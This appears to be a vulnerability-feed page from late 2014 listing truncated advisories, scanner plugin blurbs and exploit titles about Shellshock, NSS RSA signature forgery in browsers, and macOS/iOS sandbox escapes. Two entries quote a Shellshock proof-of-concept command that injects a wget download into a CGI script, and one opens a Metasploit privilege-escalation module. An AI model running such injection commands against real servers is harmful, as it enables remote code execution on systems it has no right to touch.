More Mac OS X and iPhone sandbox escapes and kernel bugs

Posted by Ian Beer A couple of weeks ago Apple released OS X 10.9.5 and iOS 8 which fixed a number of sandbox escapes and privilege escalation bugs found by Project Zero. All-bar-one of these bugs were found via manual source code auditing where there was source and binary analysis where there...

Broken shell ShellShock）vulnerability sample analysis report-vulnerability warning-the black bar safety net

A. Vulnerability events 1. Vulnerability information ●Release time:2014-09-25 1 4 4 8 minutes 0 4 seconds ●CVE ID:CVE-2 0 1 4-6 2 7 1 ●The affected version: ! 2. Vulnerability overview BashGNU Bourne-Again Shellis the most Linux systems and Mac OS X v10. 4 The default shell, it can run on most...

LibreOffice Unspecified Vulnerability (Oct 2014) - Mac OS X

LibreOffice is prone to an unspecified vulnerability. SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:libreoffice:libreoffice";...

OpenVPN vulnerable to Shellshock Bash vulnerability

OpenVPN wasn’t immune to the Heartbleed vulnerability in OpenSSL, and it’s not going to sidestep Shellshock either. Fredrick Stromberg, cofounder of Mullvad, a Swedish VPN company, reported that OpenVPN servers are vulnerable to Shellshock , the vulnerability in Bash plaguing Linux, UNIX and Mac ...

GNU Bash Local Environment Variable Handling Command Injection (Mac OS X) (Shellshock)

The remote Mac OS X host has a version of Bash prior to 3.2.531-release installed. It is, therefore, affected by a command injection vulnerability via environment variable manipulation. Depending on the configuration of the system, an attacker could remotely execute arbitrary code. TRUSTED...

Seamonkey RSA Spoof Vulnerability (Sep 2014) - Mac OS X

Mozilla Seamonkey is prone to spoof vulnerability. SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:mozilla:seamonkey";...

Mozilla Firefox RSA Spoof Vulnerability (Sep 2014) - Mac OS X

Mozilla Firefox is prone to spoofing vulnerability. SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:mozilla:firefox"; ifdescripti...

Google Chrome RSA Spoof Vulnerability (Sep 2014) - Mac OS X

Google Chrome is prone to spoof vulnerability. SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:google:chrome"; ifdescription...

Mozilla Thunderbird RSA Spoof Vulnerability (Sep 2014) - Mac OS X

Mozilla Thunderbird is prone to spoofing vulnerability. SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:mozilla:thunderbird";...

Mozilla Firefox ESR RSA Spoof Vulnerability (Sep 2014) - Mac OS X

Mozilla Firefox ESR is prone to spoof vulnerability. SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:mozilla:firefoxesr";...

Apple — Most Mac OS X Users Not Vulnerable to 'Shellshock' Bash Bug

On one hand where more than half of the Internet is considering the Bash vulnerability to be severe, Apple says the vast majority of Mac computer users are not at risk from the recently discovered vulnerability in the Bash command-line interpreter – aka the "Shellshock" bug that could allow hacke...

Firefox ESR 31.x < 31.1.1 NSS Signature Verification Vulnerability (Mac OS X)

The version of Firefox ESR 31.x installed on the remote host is prior to 31.1.1. It is, therefore, affected by a flaw in the Network Security Services NSS library, which is due to lenient parsing of ASN.1 values involved in a signature and can lead to the forgery of RSA signatures, such as SSL...

Mozilla Thunderbird < 31.1.2 NSS Signature Verification Vulnerability (Mac OS X)

The version of Thunderbird installed on the remote host is prior to 31.1.2. It is, therefore, affected by a flaw in the Network Security Services NSS library, which is due to lenient parsing of ASN.1 values involved in a signature and can lead to the forgery of RSA signatures, such as SSL...

Firefox < 32.0.3 NSS Signature Verification Vulnerability (Mac OS X)

The version of Firefox installed on the remote host is prior to 32.0.3. It is, therefore, affected by a flaw in the Network Security Services NSS library, which is due to lenient parsing of ASN.1 values involved in a signature and can lead to the forgery of RSA signatures, such as SSL certificate...

Firefox ESR 24.x < 24.8.1 NSS Signature Verification Vulnerability (Mac OS X)

The version of Firefox ESR 24.x installed on the remote host is prior to 24.8.1. It is, therefore, affected by a flaw in the Network Security Services NSS library, which is due to lenient parsing of ASN.1 values involved in a signature and can lead to the forgery of RSA signatures, such as SSL...

Mozilla Thunderbird 24.x < 24.8.1 NSS Signature Verification Vulnerability (Mac OS X)

The version of Thunderbird 24.x installed on the remote host is prior to 24.8.1. It is, therefore, affected by a flaw in the Network Security Services NSS library, which is due to lenient parsing of ASN.1 values involved in a signature and can lead to the forgery of RSA signatures, such as SSL...

Bash Vulnerability Exploits Dropping DDoS Bots

A honeypot run by researchers at AlienVault Labs has snared two separate pieces of malware attempting to exploit the Bash vulnerability. One sample is a repurposed IRC bot written in Perl that is trying to build a botnet to be used in distributed denial of service attacks DDoS, said Jaime Blasco,...

Bash - Shellshock Environment Variables Command Injection

Bash - Shellshock Environment Variables Command Injection /cgi-bin/ -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271remotecodeexecutionthroughbash/ Test CGI Code : !/bin/bash...

Bash Code Injection Proof Of Concept

/cgi-bin/ -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271remotecodeexecutionthroughbash/ Test CGI Code : !/bin/bash echo "Content-type: text/html" echo "" echo...

Mac OS X VMWare Fusion Root Privilege Escalation Exploit

This abuses the bug in bash environment variables CVE-2014-6271 to get a suid binary inside of VMWare Fusion to launch our payload as root. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'rex...